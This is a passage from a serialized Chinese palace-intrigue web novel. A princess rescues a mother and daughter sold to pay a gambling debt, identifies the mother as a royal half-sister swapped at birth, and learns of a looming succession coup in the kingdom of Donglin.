中年妇人抬起头,满脸泪痕,额角还破了皮,渗着血,模样凄惨至极。
可就在她抬起脸的刹那,一直静静看着的萧婉仪,帷帽下的身子几不可察地一震。
那妇人的眉眼轮廓怎会如此熟悉?
尤其是那双即便饱含泪水,仍能看出原本形状的凤眼,还有那鼻梁的形状,竟与她记忆中冯德妃的容貌有八分相似。
虽然那妇人面容憔悴,面色肌黄瘦弱,但就是很明显,让人一眼就看出与冯德妃相似。
说她们是姐妹绝对不为过,德妃深居皇宫,保养得当,看着比实际年龄年轻很多。
这妇人与她看着不相上下。
最让她不可思议的是,妇人的左眼角一颗明显的泪痣。
父皇在相同位置也有同样的泪痣。
东临的十一个皇子皇女中,八人有这样的泪痣,她也有。
再看那年轻女子,眉宇间竟隐隐有几分像她年幼时见过的父皇年轻时的画像。
萧婉仪的心怦怦直跳,一个荒谬又惊人的念头窜入脑海。
她又仔细回想了一下二皇兄的长相,不但没有泪痣,而且既不像父皇,也不像冯德妃。
难道……
萧婉仪惊出一身冷汗。
第287章 她们可能的身份
霍凝玉把那妇人从地上扶起来。
玛瑙把哭得上气不接下气的姑娘也扶起来。
“姑娘,快别哭了,我家主子定能救你。”玛瑙见姑娘哭花了的脸,又见她的手腕被刚才那男子捏出来的淤青,心生同情。
她虽是奴婢,在王妃身边的生活比这些普通百姓的日子不知强了多少倍。
霍凝玉已温声对那妇人道:“这位娘子,你男人到底欠赌坊多少银子?”
她不相信是一百两。她知道赌坊喜欢做局坑人,肯定有猫腻。
妇人泣道:“他,他赌输了三十两,就说要把我女儿卖五十两抵债,我不同意,耽误了半个月,赌坊就说利滚利已经一百两。
可我女儿是良家姑娘啊,不能进那种地方。贵人,求求你,救救我们,我们母女愿意**为奴,做牛做马,伺候您一辈子。”妇人忽然跪下不停叩头。
那姑娘也跪下叩头。
霍凝玉冷冷看向那赌徒。
“男儿生于世,当顶天立地。你看看你活成什么样,这是你的亲生女儿。
你怎么忍心卖女儿抵债,还是卖给妓院,于理于法皆不容,莫非你心里没有王法了吗?”
赌徒被她目光所慑,又见周围护卫精悍,嗫嚅道:“她是我婆娘,女儿也是我的种,这是我的家事。我有权卖了她们。”
“是吗?当年你娘生你的时候,就应该直接把你溺死在尿桶里,你就是个祸害。”霍凝玉简直被气炸了。
没有人性的东西。
“夫君,给他一百两银子,把这对母女买下来带走。”萧婉仪终于从自己的意想中回过神来,向霍鸣羡说道。
“好。”霍鸣羡无有不应,让阿福上前给了那赌徒一百两。
“拿好了,从此以后,她们母女与你再无瓜葛。”阿福把一袋沉甸甸的银子丢到赌徒面前,正好砸在他脚上,疼得那人哎哟一声。
赌徒立刻蹲身捡起,打开袋子,看到果然是白花花的银子。
“钱拿到了,**契拿来,从此她们与你再无干系。”霍凝玉冷喝。
赌徒掂了掂手里的银子,犹豫了一下,在护卫的逼视下,终究不敢造次,嘟囔着拿出女儿的**契。
“再写一份你娘子的。”霍凝玉再次怒喝。
玛瑙一听,从跟随的马车里取来笔墨纸。
那男子当场写下卖妻的**契。
“哼,会写字,说明读过书,竟然如此不堪。你不配为人。”霍凝玉收了**契,不忘骂一句。
看到两份**契上写着母女两人的名字。
妇人叫冯宝川,女儿叫李璎珞。
母女俩的名字都起得很好,说明家里有读书人。
冯宝川拉着女儿又扑通跪下,连连磕头:“多谢夫人救命之恩。”
霍凝玉让玛瑙扶起她们。
这时,萧婉仪终于按捺不住,走上前,轻轻撩起了帷帽的前纱,露出面容,目光紧紧锁着中年妇人,声音有些微颤:“这位娘子,你娘家姓什么?是潢川本地人吗?”
妇人看到萧婉仪的脸,先是茫然,随即不知为何,眼眶更红,一种没来由的亲切与酸楚涌上心头。
“回恩人,我从小在潢川长大。”
这个回答也没让萧婉仪失望。
“你今年多少岁?”
“回恩人,三十六岁了。”冯宝川老实回道。
萧婉仪又一怔,果然,与二皇兄同岁。
“可知生辰几时?”萧婉仪又问。
“三月十八戌时。”冯宝川很奇怪,恩人为何问得这般仔细。
可也没多想,如实报出自己的生辰。
萧婉仪袖中的手微微发抖,冯,正是冯德妃的姓氏。
霍鸣羡察觉妻子异常,轻轻扶住她的手臂,低唤:“婉仪?”
萧婉仪深吸一口气,强迫自己冷静。
她看着妇人与冯德妃惊人相似的脸庞,再看看那年轻女子眉宇间隐约与父皇相似的眉眼,心中那个猜测越来越清晰。
她转向霍凝玉和赵炳煜,语气坚定:“表哥,妹妹,这对母女身世可怜,又与我有缘。我想将她们收留在身边,带回东临国都,可好?”
霍凝玉有些意外,她不过只是想救下这对母女,让她们另谋生路,并不想留在身边。
可大嫂怎么突然这么好心,要收留她们?
但见萧婉仪神情郑重恳切,不似一时冲动,便看向赵炳煜。
赵炳煜目光扫过那对惶恐又带着一丝期盼的母女,略一沉吟,点了点头:“既然表妹有心,便依表妹之意。”
霍鸣羡也道:“婉仪既然觉得有缘,带上也好,路上正好让她们做些伺候的活。”
萧婉仪心中稍定
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,对那对母女温言道:“你们不必害怕,跟着我吧。我会让人给你们治伤,换身干净衣服。以后,不会再有人欺负你们了。”
母女俩感激涕零,又要下跪,被萧婉仪止住。
一行人没了逛街的心思,带着这对意外救下的母女返回驿站。
而另一边,青风得到赵炳煜的指示,悄悄跟着那个赌徒,趁他走进一个无人的巷子时,兜头套上一个麻袋,再点了那人的哑穴。
接着就是一顿无所顾忌的狂揍。赌徒大叫,可是发不出声音。
也看不到是谁揍的他,只能无助地卷缩着身子,想要抵抗一二,可是无论他如何躲都能被踢打个正着。
直到把人打晕过去,青风才拍了拍手,再抽走麻袋,耸了耸肩,悄无声息地离去。
谁也不知道是他干的。
这种人,该死。
回到驿馆向赵炳煜复命。
“王爷,幸不辱命。”青风一本正经,但脸上却挂着得意的笑。
“这点小任务也能让你这么高兴?”赵炳煜冷瞪了他一眼。
“哎,没办法,跟着王妃久了,就有了烟火气,这种人按属下以前的性子,一剑就解决了。
但王妃是个善良的女子,属下也学了点,只是让他以后都不能再去赌坊而已,便宜他了。”青风说自己心善,还要归功于霍凝玉。
“你把那人怎么了?”赵炳煜好奇。
“断了他的两条腿。以后他想出门都难。”
“你还不如要了他的命,这不是给他家里增加负担吗?”赵炳煜好心提醒。
“这.....”青风又后悔心善了,“属下这就去把他处理了。”
青风转身就要出去。
“行了,就这样吧。他父母没把儿子教导好,他们应该负责。”
隔壁房里。
萧婉仪让丫鬟玲儿把母女俩带去好好洗干净,换上丫鬟的衣服。
两人太瘦,玲儿的衣服穿在她们身上都有些宽松。
“你们都坐下吧。”萧婉仪指了指对面的凳子。
“夫人,奴,奴婢站着就好。”冯宝川初为奴婢,不知道如何与主子相处,显得很拘谨。
“夫人让你们坐你们坐下。”玲儿扶着冯宝川坐下。
“冯娘子,我问你,你是你娘亲生的吗?”萧婉仪开始好好盘问。
第288章 萧婉仪的猜测
她一定要把冯宝川的身份搞清楚,证明自己是不是多想。
霍鸣羡也觉得奇怪,直到此时他也没明白婉仪为何对这对母女这么上心。
两人一路回来,他见妻子一直都在沉思,更是好奇。
冯宝川听到这个问题,很惊讶。
夫人怎么不问她们母女的经历,反而问她的身世。
只稍稍犹豫了一下,还是如实回答:“回夫人,我娘说奴婢是她捡来的。”
“哦?能仔细说说吗?”
“我娘说当年是有人把奴婢放在我家门前,我爹早上出门时正好看到,就把奴婢抱回了屋,从此就把奴婢养在身边。”冯宝川轻声道。
“你父母可还在?”萧婉仪眼睛微睁,果然不是亲生的。
当年到底发生了什么事?这里离东临都城可不近,她是如何流落到这里的?
一个个疑问让萧婉仪心里无比震惊。
“他们已经......过世。”冯宝川难过地抹了抹眼睛。
“既然你父母收养了你,还把你养大,说明还是疼爱你的,为何把你嫁给那样的男人?”萧婉仪开始问起冯宝川的经历。
“我父亲本是潢川城的一位秀才,开了一间小私塾,收些孩子启蒙,以此挣些银钱度日。
他们本有一个儿子,已经十七岁,正准备娶妻,可是一场大病要了哥哥的命。
我娘生了哥哥以后再不能生。
哥哥是他们唯一的独子,却不幸**。
就在那时,有人把奴婢放在他们家口门,正好全了他们想要个孩子的心。
他们对奴婢很好,十六岁时把奴婢许给了父亲的一个学生李贺生。
那时李贺生已经考过了童生,父亲以为他是个读书的好苗子,好好用功定能考中秀才。
可谁知,他多年屡试不中。
后来就开始酗酒,更不上进了。
我父母年纪大了,相继去世,李贺生就开始对奴婢看不顺眼。
又加上奴婢生了女儿后,再没怀上过,他对奴婢越发不好,非打即骂。
可奴婢已没了娘家庇护,只能忍气吞声。
谁知李贺生越发不知收敛,两年前染上了赌瘾。
更是变本加厉**我们母女,公爹和婆母根本管不住他,有时疯起来,就连公爹和婆母他都敢动手打。每日只知道要钱。
家里的银钱早就被赌光了,他就打起了女儿的主意,多次想卖,被奴婢拦下。
这次他赌得太大,趁奴婢不在家,他居然带着人来家里拉人,有邻居来告诉奴婢,才追来,幸好遇到夫人救了我们母女。”
冯宝川一边说着一边抹着眼泪。
想到以前还在娘家,有父母疼爱的日子,是多么开心快乐,自从嫁了人,日子就与在娘家时完全不同了,父母去世后更是人间地狱。
夫君一有不顺就会拿她出气。公婆见她迟迟生不出儿子,也开始对她不冷不热,见她被夫君打骂也不管。
身边乖巧坐着的李璎珞也跟着默默抹泪。
萧婉仪深吸一口气。
当年把冯宝川放在她父母门前的人定是特意安排的。
正好挑一家姓冯的,又是刚**儿子,又生不了孩子的一对中年夫妻。
目的自是希望这对夫妻能对孩子好一些,让她能过普通的百姓生活,又不会太苦。
可谁也没想到她后来的生活却过得如此凄惨。说明送她到那家的人后来再也没有关注她。
才有了今日他们一行遇到这对母女正经历人生最大难关的事。
要是李璎珞真被卖去了青楼,可想而知,当娘的心会有多痛,会做出什么事来,谁也无法预料。
“玲儿,带她们去安置吧。”萧婉仪揉了揉眉心,心里烦乱一片。
此事要如何处理,此时她心里没有一点头绪。
“冯娘子,李姑娘,请跟我来。”玲儿把人带出去。
“婉仪,这母女俩的身份是不是有什么特殊之处。”霍鸣羡等了这么久才有机会问出心里的疑惑。
“夫君。”萧婉仪面露悲色,轻轻唤一声,却不知要如何说。
如果她的猜测是真的,那真是东临皇室的一大丑事。
冯德妃的胆子真是大到没边了,居然敢混淆皇室血脉。
霍鸣羡见妻子难过的样子,就知事情可能很严重。
他站起身,坐到萧婉仪身边,温柔地将人拥进怀里。
“婉仪,不管什么事,有为夫在,我们一起面对
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。如果需要我帮忙,你尽管说,你的身后不单只是霍家,现在整个南楚都是你的后盾。
摄政王与妹妹还有皇上从没把你当外人,什么都不要怕。”霍鸣羡温声安慰。
能让妻子难过的事,除了东临,不作他想。
而她嫁给了他,那么她的事就是他的事。
“嗯,有你真好。”萧婉仪把头轻轻靠在霍鸣羡肩头,深锁的眉头慢慢放开。
“夫君,走,我们去找妹妹和表哥。此事需与他们一起商量。”萧婉仪略作思索就做出了决定。
“好。”
两人来到隔壁。
“大嫂,你脸色怎么这么难看?”霍凝玉一下就看出萧婉仪不对劲。
“是不是病了?”赵炳煜也看出来。
“表哥,妹妹,我没事。有件事,需与你们商量。”萧婉仪坐到桌前。
“是不是关于那对母女的事?”赵炳煜见她严肃的样子,就猜与今日所救的母女二人有关。
“对。我怀疑冯娘子可能是我的皇姐。”萧婉仪直接说出自己的猜测。
“你说什么?”赵炳煜不可思议。
一个公主怎么会流落到民间,而且还过得如此凄惨。
才三十几岁就如老妇,女儿还要被卖去青楼。
“表哥,你看她左眼角的泪痣与我如出一辙。
我父皇就是左眼角有一颗泪痣,父皇名下的孩子中八个有这颗泪痣,而且她的长相有七八分像宫里的德母妃。
如果冯娘子再胖些,脸再白些,好好打扮一番,应该能有九分像。
这两点让我产生强烈的怀疑。
而且她也正好三十六岁,我还问了她生辰,居然与二皇兄是同一日。
而二皇兄没有泪痣,而且我怎么看二皇兄都不像我父皇或者德母妃。
所以我大胆猜测,她可能才是德母妃所生,而二皇兄是她换来的儿子。
为了以防东窗事发,她还让人把自己亲生的女儿送出这么远。
给找了户还算过得去的百姓之家收养。”萧婉仪把自己的猜测一五一十说出来。
三人听得目瞪口呆,竟有如此荒唐之事。
简直是胆大包天。
“青雨。”赵炳煜一声高喊。
第289章 有人撑腰
青雨应声进来。
“王爷。”
“我们再停留两日,你派人去好好打听一下今日救回来的冯氏母女的情况,尤其冯氏是如何到潢川,如何被收养的,是否有什么能证明身份的东西。”赵炳煜吩咐。
“属下领命。”
“青雨,带上梁骐,他对这里比较熟。”萧婉仪道。
梁骐是她的护卫统领。
她出嫁,父皇给她配了二十个护卫带到南楚,护她安全。
“是,公主。”
青雨出去后,几人都陷入沉默。
这事要是真的,他们此行可就要好好思量一番了。
“表妹,你既然如此猜测,今晚你与冯娘子做一下滴血验亲吧。
虽不同母,但也可能相容。试试放心些。”赵炳煜提议。
“好。”
到了晚上,萧婉仪向洪大夫要了点药,让人给她们母女下在了茶水里。
母女俩很快就昏睡过去。
洪大夫拿出银针,在冯宝川的手指上扎了一针,挤出两滴血在装有清水的碗里。
再同样挤了萧婉仪的血在碗里。
慢慢地,两人的血真的融在了一起。
众人虽有心理准备,可看到融到一起的血液,每人的心里都越发凝重。
“夫君。”萧婉仪眼里含泪。
她的猜测得到了证实,她心里好难过。
她是东临的公主,现在有人要窃国。
而她只是外嫁到南楚的和亲公主,此时的她无能为力。
她要怎么办?
霍鸣羡把人拥进怀里,轻轻拍着她的肩。
“不用担心。我们一起想办法。这滴血验亲也不一定准。或许只是巧合。而且东临不是有太子吗?二皇子想上位,没那么容易。”
“不,你不知道,太子皇兄能力不足,父皇曾动摇过多次,想换太子。
要不是朝中老臣不赞成,还有太子皇兄的舅舅在镇守边关,父皇早就换了太子人选。
而我的皇兄之中,二皇兄能力最为出众,支持他的朝臣不在少数。如果他真上位了,东临的皇权就不知不觉被人偷走了。”萧婉仪想想就后怕。
“表妹,先不要想太多,等明日查清楚之后再做定夺。”赵炳煜也安慰,“天晚了,先休息,明日再说。”
霍鸣羡扶着妻子回隔壁休息。
霍凝玉一直不曾说话。
当下午听大嫂说那母女俩的身份可疑起,她就没停止过思考。
这事也太巧了,怎么就被她遇到。
这事到底预示着什么?
“夫君,前世确实是东临二皇子登基成了东临皇。当时我虽在南楚京城,但也听说了此事。
东临的皇权交替是怎样的过程,我并不知道。
前世,大嫂并没有嫁到南楚来,所以我也很少关注。
我怀疑也是因为我的原因,这母女俩才暴露了出来。
你说老天爷这么安排是什么意思?”霍凝玉一直想不通。
“我们现在刚进入东临地界,很多消息还不得而知,我也一时不知。
但既然表妹认定二皇子是假的,冯氏才是真正的皇室血脉,那么这事我们必须帮表妹揭穿。
至于未来会如何,只能见机行事。
我安排的人应该快到东临京城了,要不了几日就能收到东临京城具体的消息。”赵炳煜也无法回答妻子的问题。
“圆通大师说我是气运之星,真是一点不假,这样的事都能让我碰到。
当时大师说你和钟离大哥是皇上身边的将星,我是福星,我们三人会辅佐皇上成就大业。
又加上林宇发现龙脉之事。
你说这个大业是不是就是一统四国?
如果是这样的话,而东临又是我南楚友邦,这要是兵戎相见,大嫂要如何自处?”霍凝玉想得更远。
“八字还没一撇,你就不要想那么多了。走一步看一步吧。
如果真到那一天,大嫂不会受到任何伤害,我保证。”赵炳煜摸了摸妻子的头,安慰道。
“哎!愁人。”霍凝玉感叹。
翌日。
大家都没有外出,都在等青雨和梁骐出去调查的结果。
他们把冯娘子也带上了。
梁骐带着人去打听冯氏娘家那边的消息。
青雨则带着冯宝川直接来了李家。
刚一
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到门口就听到里面传来“哎哟,哎哟”的叫唤声。
青雨暗笑,那是他的手笔。
冯宝川一听就知道是她夫君的声音。
她瑟缩着不敢进,她是被打怕了,形成自然的恐惧。
“冯娘子,不用怕。有我在,没人敢欺负你。”青雨给她撑腰。
冯宝川看到青雨一柄长剑挎于腰间,身姿笔挺,给她很大的安全感。
她才犹豫着走了进去。
最先看到的是她的婆母,正端着一盆水从厨房里出来。
“你不是被我儿卖了吗?怎么还有脸回来?”李家老婆子一脸凶恶之相。
她最讨厌这没用的儿媳妇,管不住自己的男人,让儿子走上了歪路。
“我回来让夫君写和离书,再拿走我从娘家带来的东西。”冯宝川嗫嚅着说道。
“我们家没有你的东西。”李老婆子把盆子往地上一放,叉腰就要开始如以前一样教训儿媳妇,“你从娘家带来的那点东西早被你自己吃光花光了。”
一听还要回来拿家里的东西,老婆子哪里会答应。
“去,把东西拿出来。”青雨只是抬了抬下巴,一身的冷冽的气势吓得李老婆子还想再说什么,卡在喉咙里。
冯宝川侧着身子从李老婆子身边经过,走向她与夫君的房间。
李家有三子,她夫君正好是第三子。
她正要进屋,就看到大嫂二嫂从她们自己的房间里出来。
“哟,做了奴婢,衣服都穿得比咱家光鲜了。”李大嫂看到冯宝川身上的衣服,酸溜溜地说道。
三叔成天就喜欢赌钱,把家里搞得乌烟瘴气。
都是这没用的冯宝川没本事,害得一家子都不得安宁。
“三弟妹,你还从我这儿借了八百文钱给璎珞看病,还没还我呢。”李家二嫂阴阳怪气地说道。
“我不是绣了几张帕子让你拿去卖,算是抵了那八百文吗?”冯宝川可不认这个账。
当时可是说好了的。
“那几张帕子只卖了五百文,你还欠我三百文。”李二嫂眼睛一瞪。
“我......”冯宝川现在身无分文。
第290章 确定身份
“你这身衣服不错,脱了给我,我就不问你要那三百文。”李二嫂在她身上来回转着眼珠。
丫鬟的衣服居然也是绸缎做的,她命可真好,居然被那样的人家买了去。
她一辈子都没穿过这么好的衣服。
要是有这样的好日子,她都想把自己卖了。
青雨直接抽出长剑,一剑斩向院子里的一根木柴。
木柴瞬间被劈成了两截。
“啊!”
三个女人都被吓得齐声尖叫。
“我的天爷,我们可是良民,你可不能乱杀无辜。”李老婆子被吓得直打哆嗦。
三个女人这才把目光定在青雨身上。
一身黑色劲装,手中的长剑散发着凌冽的寒光。
一开始她们以为,这是买了冯宝川的主家派来送她回来的小厮。
原来武力这么强。
一剑就能劈断那么粗的木柴。
冯宝川也被吓了一跳,但她知道青雨是在给她撑腰。
她不再做停留,几步进了他们夫妻睡的房间。
一进去就看到李三正躲在床上不停哀嚎。
看到李三的样子,她更是大吃一惊。
怎么一个晚上不见,他就成了这个样子。
脸上没有一块完好的地方,就连眼睛都肿得快睁不开。
“你个臭婆娘还知道回来。”李三看到进来的人,就气不打一处来。
他被打成这样,首先怀疑的就是买他妻女的那群人。
“是不是你让人把我打成这样的?”李三叫嚣着就要下床来。
可是他刚一挪动,腿就疼得心肝发颤。
大夫说他的腿再也好不了了,以后他就是个瘸子。
“哎哟。”
“快去收拾。”青雨见冯宝川愣愣的,不知道做什么好的样子,出声提醒。
冯宝川回过神,开始翻箱倒柜。
从一个不知用了多少年的柜子最底下翻出一个包袱。
她又出去找了一把镰刀进来,在屋子的最角落开始挖。
不一会儿,一个小小的匣子被她刨出来。
李三看到她手里的匣子,眼睛都睁得大了些。
“好你个冯氏,居然背着我藏了好东西,那是我的,你不能带走。”李三大叫。
这时李老婆子也进来了,看到匣子,上来就要抢。
青雨长剑一挡,李老婆子被寒光闪闪的剑锋给吓得不敢前进一步。
“这是我娘留给我的东西。”冯宝川解释一句,那是她的东西。
“你都被我卖了,你身上的任何东西都是我们李家的,你不能带走。”李三气得大喊。
能被冯氏藏得这么严实,还瞒着他的东西,一定是好东西。
绝不能让她带走。
青雨从她手里拿过小匣子,揣进自己怀里。
“李三,现在写下和离书。不然别怪我不客气。“青雨冷冷开口。
没有和离书,哪怕被卖了,他们还是夫妻关系。
虽然他们以后都不会再见面,但这层关系太膈应人,还是断得干净点好。
“我不写。”李三怎么可能答应。
他已经让大哥去打听,昨日买了他娘子的是什么人家,以后他好找上门去向冯氏要钱。
他知道大户人家的丫鬟仆妇每月都有月例银子。
这种好事,他怎么可能放弃。
“不写是吗?我不介意让冯娘子成为寡妇。”青雨的剑直指床上的李三。
“你敢**?你眼里还有没有王法了?”李三读过书,知道青雨是吓唬他的。
他就不写,难道他真敢杀了他不成?
“杀你如捏死一只蚂蚁。写不写,如果你不写,我现在先斩了你的左手,如果还不写,我就再斩了你的左脚。”青雨的剑在他身上来回比画。
李三的眼睛不自觉跟着剑的锋芒走,被吓得瑟瑟发抖。
突然,青雨的长剑猛地举起,作势要斩下。
“不要。”李老婆子吓得一声尖叫,猛地扑到儿子身上。
这是她疼了多年的小儿子,她做不到眼睁睁见儿子被砍。
青雨不过吓唬一下。
“儿啊,快写,你不要命了吗?”李老婆子流着眼泪劝道。
李三这回真被吓着了,只得让李老婆子把笔墨给他拿来。
当场写下和离书,又按了手印。
从此他与冯氏再无瓜葛。
回到驿馆。
冯宝川来到萧婉仪房里。
大家都在此等着她。
“夫人,这是当年我娘捡到奴婢时包着的襁褓。
我娘一直留着,我出嫁后,她给了奴婢保存。
说是凭这些东西,或许某一天能找到奴婢的亲生父母。
当时襁褓里还有一张纸条,上面写有奴婢的生辰八字和名字。
正好我养父也姓冯,名字也就一直用我亲生父母起的名
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字。”冯宝川拿出襁褓,递给萧婉仪。
她回李家就是为了拿走真正属于她的东西。
其它东西,已没有什么值得她留念。
萧婉仪翻了翻襁褓,没看出特别之处,但料子不错,一看就是好东西。
面子是丝滑的绸布,绣有百子图,而里子是柔软的细棉布。
大富人家基本都用这样的襁褓。
“还有这个,当年就挂在奴婢脖子上。”冯宝川又拿出那个小匣子,打开,从里面拿出一个精美的玉佩。
萧婉仪接过。
入手温润,雕工精细。玉质晶莹剔透,上好的羊脂白玉。
椭圆形,雕有一只栩栩如生的鸾鸟。
再翻到背面,一个大大的“碧”字雕刻其上。
萧婉仪身子一怔。
又一个证据摆到她面前。
冯德妃的名字里正好有个碧字,她叫冯如碧。
这块玉佩应该就是冯德妃的贴身玉佩。
“冯娘子,这块玉佩可是好东西,这么多年,你为何没有把它卖掉或者当掉?”萧婉仪温声问道。
她已基本确定,冯娘子就是她的皇姐。
可惜成了她母妃争权夺势的牺牲品。
好恨心的母亲。
就算要送走,也应该安排人好好照看着,却任她自生自灭。
“回夫人,奴婢舍不得。这是奴婢唯一的念想。奴婢也想找到自己的亲生父母。奴婢想知道他们为什么不要奴婢。”冯宝川说着就红了眼睛。
在娘家时,她多次拿着这块玉佩看。
她随着养父,识得字,也读过书。
她知道这玉佩绝非凡品,既然有这样的玉佩,说明她亲生父母的家世必定不凡,为何要丢弃她。
她想问个明白。
昨日她之所以答应宽限几日,就凑钱还夫君欠下的赌债,其实就是做了最后的决定,舍了这块玉佩。
这么多年过去,或许她再也找不到自己的亲生父母,留着也没用了。
她只有这样的命。
谁知,在最急迫的时候,她遇到了贵人。
萧婉仪把玉佩递给她:“你收好,千万不要弄丢了。你的亲生父母我来帮你找。”
“多谢夫人。”冯宝川行了一礼。
“下去吧,好好休息。”萧婉仪摆了摆手。
冯宝川退出房间。
“大嫂,你确定了吗?”霍凝玉迫不及待问道。
第291章 一团乱
“**不离十。”萧婉仪长长舒了一口气。
可是她心里却很难受。
这都什么事啊。
“那你打算怎么做?”霍凝玉想知道大嫂的想法。
“夫君,表哥,我要揭穿冯德妃。”萧婉仪很快拿定主意。
这种混淆皇室血脉的事,她绝不容许。
“好,既然你想如此做,我们都支持你。”霍鸣羡当即表明态度。
赵炳煜和霍凝玉相视一眼,也点头。
东临的天要变了。
翌日,使团起程继续往前走,但没有之前那么赶了。
萧婉仪的心态完全变了。
在二皇兄没有得到太子之位前,父皇不会死。
如果他想顺利拿到皇位继承权,就会想尽办法让父皇在临死前传位于他。
他就会想尽办法保父皇性命。
又走了三日,离东临皇城越来越近。
赵炳煜收到了来自东临皇城的消息。
北魏已经拿下东临两个城池。
东临也有一战之力,这么久才失去两个城,已经算应对得力。
就看皇城的当权者得不得力,懂不懂调度了。
此时太子监国。
太子的二舅舅曲将军正是前线的主帅。
连失两城,朝中的声讨声已经越演越烈。
又过两日,赵炳煜又收到消息。
曲将军居然被打得投降了北魏,东临皇强撑着身体起来,废了太子,曲家被查抄,曲家人全部入狱。
赵炳煜拿着纸条,面含讥讽的笑意。
霍凝玉从他手上抢过来看。
“我的天,这东临的二皇子不会是疯了吧?”霍凝玉一看就知道其中肯定有问题。
亲外甥是太子,曲将军哪怕是死也不可能投降。必然是二皇子在军中安插了人,对曲将军做了手脚。
突然,她想到一个人。
“夫君,这事有蹊跷。”霍凝玉越想越觉得是她所想的那样。
“是有蹊跷。东临是我们南楚国的友邦之国,所以我们在东临并没有安插较深的探子,很多消息都不知道。只知道一些表面的东西。”赵炳煜此时后悔当初没多做些功课,很是无奈。
“夫君,我想到一个人。”
“谁?”
“皇伯父被袁贵妃下的毒,你可还记得?”霍凝玉说起一个完全无关的事。
“记得,那毒出自江宁的母亲杨氏之手。”
“洪大夫说,杨氏的父亲很可能就是他的师兄。
曲将军作为一军主帅,姐姐又是中宫皇后,外甥又是太子,他怎么可能投降,除非他被药物控制。
洪大夫说过,他的师兄后来回了东临。
你说会不会就是他给配出的药,而他正是冯德妃的人。”霍凝玉天马行空地猜测。
“我的王妃真聪明,这都能联系到一起。说不定你的猜测正好猜在重点上。我这就写信去东临皇城,让人好好查查。”赵炳煜立刻做出决定。
“来人,去请洪大夫来一趟。”
青雨立刻在门外应声。
很快,洪大夫被请来。
霍凝玉问了一下他那个姓杨的师兄的全名,并让他画一副画像出来。
“王妃,不知道你们要他的画像有何用?”洪大夫很多事都不知道。
他对他那个师兄多少还有些同门之谊。
“洪大夫,你那个师兄或许早就不是你所认识的那个师兄了。他已经被人利用来危害整个东临,我们想查清楚他都做了些什么。”霍凝玉不妨把话说透。
洪大夫可是大嫂身边得力的人,不能让他心生芥蒂。
“什么?”洪大夫不可思议,“他怎么敢?我这就去画。”
洪大夫毫不犹豫就答应。
他也好几年没见杨师兄,对他的情况真不知道。
两人本就差了十几岁,一起从师学习的时间本就少,谈师兄弟情义并不深。
当赵炳煜等人到达东临京城时,他们已得到了想要的消息。
东临太子被废不说,还被二皇子查出他让手下人贪墨军饷,导致前线将士怨声载道,也是导致此次战事失利的最主要原因。
东临皇已下旨将太子关押,等候发落。
结果赵炳煜他们刚进京的前一晚,太子就自尽在牢里。也不知道他哪里来的**,还留了遗书,写了自己的悔过,并自称无颜苟活于世。
他辜负了父皇的厚爱,辜负了百姓的信任。
东临皇看后,气得当场一口鲜血吐出,晕了过去。
翌日。
朝中一半以上的
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朝臣举荐二皇子萧宗翼监国。
东临皇在众朝臣的施压下,只得让萧宗翼监国。
他的身体越发乏力,起床都困难。
“夫君,我们就在使馆里等着吗?”霍凝玉感觉他们来得真不是时候。
他们刚安顿好,霍凝玉心里就有些焦急。
东临接待的官员让他们等在使馆里。
他们可是南楚国的一品亲王和亲王妃。
这是严重失礼。
至少也要安排一个皇子来接待,结果只是礼部派了个官员来接待。
“现在东临朝堂如沸腾的水,根本没功夫理我们。”赵炳煜早有心理准备。
“可是我们的时间有限,不能在东临待太长时间。现在我南楚正在与西凉交战,现在也不知道钟离大哥打到哪里了。”霍凝玉一直担心着前线的事。
也不知道床**在后面还能不能起到一击必杀的作用。
从他们离开南楚京城,到现在已经一个多月过去。
就在这时,青雨进来。
“王爷,南楚来信。”
赵炳煜接过信,抽出,一目十行快速看完,眼中明显带起了笑意。
“你担心的事有消息了。”赵炳煜把信递给霍凝玉。
“真的?”霍凝玉高兴接过。
看完,她也笑得眉眼弯弯。
“太好了,钟离大哥太厉害了,居然在这么短时间就又拿下西凉三座城。
夫君,你快写信回去,告诉皇上,不要接受西凉的求和,就要直接打到他们的京城,从此世上再无西凉。
我们研究出来的床**,也就此时有用,如果时间长了,敌国必然也会研究出来,或者偷劫我们的技术做出来。
到那时想要拿下西凉可就难了。”霍凝玉兴奋道。
“你放心,皇上早就有此决心。”赵炳煜见妻子也这么有野心,很欣慰。没有在这种时候同情百姓疾苦。
一时的疾苦是为了换取未来的长久和平,值得。
这时,青凌也进来。
他正是赵炳煜安排提前出发到东临皇城的人,也是赵炳煜安排的五百人的统领。
“王爷,您让属下查的杨大夫,我们已经找到。”青凌一拱手。
“哦?可有发现他的异常之举?”
第292章 请求支持
“我们只提前了七日到,自收到画像才开始找,刚刚找到就来禀报王爷。”青凌如实道。
“最近一段时间都派人盯紧他,看他与哪些人接触。”赵炳煜吩咐。
“是,王爷。”
“表哥,青凌他们都是南楚人,对这里不熟。”萧婉仪的声音在门口响起,“青凌,我手里的二十个护卫,给我留两个跑腿的,其他都归你调用。他们对京城比较熟。”
霍鸣羡也跟着一起进来。
“多谢公主。”青凌一拱手,退了出去。
“表哥,我母妃在宫外有些人手,是当年跟着我母妃嫁过来的陪嫁。
我可以联系他们。他们应该与母妃长期有联系。
我现在对宫里的情况一无所知。我们不能坐在这里等消息。”萧婉仪心里很着急。
她担心母妃会受到宫里各势力的牵扯。
“好,今日刚到,休息一晚,明日你就写请见折子,送进宫。”赵炳煜说道。
翌日。
萧婉仪的丫鬟玲儿出了使馆,到下午才回来。
带回来一个中年男子,一身青色长衫,乌黑四方帽,一看就是铺子里的掌柜,眼神透着精明。
“草民曹望拜见六公主,驸马爷。”曹望恭恭敬敬行跪拜大礼。
“曹掌柜免礼,近日可有我母妃的消息?”萧婉仪急切问道。
“回殿下,珍妃娘娘自知晓您要来,日日盼着与您母女相聚。
草民之所以现在才来,只因昨日就知您已到了,就送了消息进宫。
可现在皇宫被翼王和德贵妃把持,消息很难送进去。
直到半个时辰前才收到珍妃娘娘的回话,属下就来了。”说着,他从怀里拿出一封信,递到萧婉仪手里。
萧婉仪接过快速看起来。
“婉仪,怎么样?”见她抬起头,霍鸣羡也急着问道。
“母妃说,她一切安好,只是宫里现在人心惶惶。
她说父皇很可能是被人下了毒,皇后已经被打入冷宫。
冯德妃执掌凤印。
二皇兄刚刚监国一日,就处理了几个大臣,全是三皇兄和四皇兄的人。
母妃让我们稍安勿躁,等着二皇兄批了请见折子再进宫。”
赵炳煜他们在使馆里住了三日才收到二皇子萧宗翼批下来的请见折子。
